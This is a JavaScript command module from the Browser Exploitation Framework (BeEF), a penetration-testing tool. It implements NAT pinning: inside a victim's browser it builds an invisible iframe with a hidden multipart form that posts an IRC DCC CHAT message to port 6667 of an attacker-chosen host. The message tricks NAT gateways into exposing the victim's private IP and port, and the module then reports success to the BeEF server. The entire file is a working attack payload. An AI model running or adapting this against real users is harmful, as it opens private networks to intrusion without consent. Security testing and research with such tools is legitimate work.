command.js

//
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var privateip = '<%= @privateip %>';
  var privateport = '<%= @privateport %>';
  var connectto = '<%= @connectto %>';

  function dot2dec(dot){
    var d = dot.split('.');
    return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]);
  }
    
  var myIframe = beef.dom.createInvisibleIframe();
  var myForm = document.createElement("form");
  var action = "http://" + connectto + ":6667/"
 
  myForm.setAttribute("name", "data");
  myForm.setAttribute("method", "post");
  //it must be multipart/form-data so the message appears on separate line
  myForm.setAttribute("enctype", "multipart/form-data");
  myForm.setAttribute("action", action);

    
  //create message, refer Samy Kamkar (http://samy.pl/natpin/)
  x = String.fromCharCode(1);
  var s = 'PRIVMSG beef :'+x+'DCC CHAT beef '+dot2dec(privateip)+' '+privateport+x+"\n";

  //create message textarea
  var myExt = document.createElement("textarea");
  myExt.setAttribute("id","msg_<%= @command_id %>");
  myExt.setAttribute("name","msg_<%= @command_id %>");
  myForm.appendChild(myExt);
  myIframe.contentWindow.document.body.appendChild(myForm);

  //send message
  myIframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = s;
  myForm.submit(); 
    
  beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');

});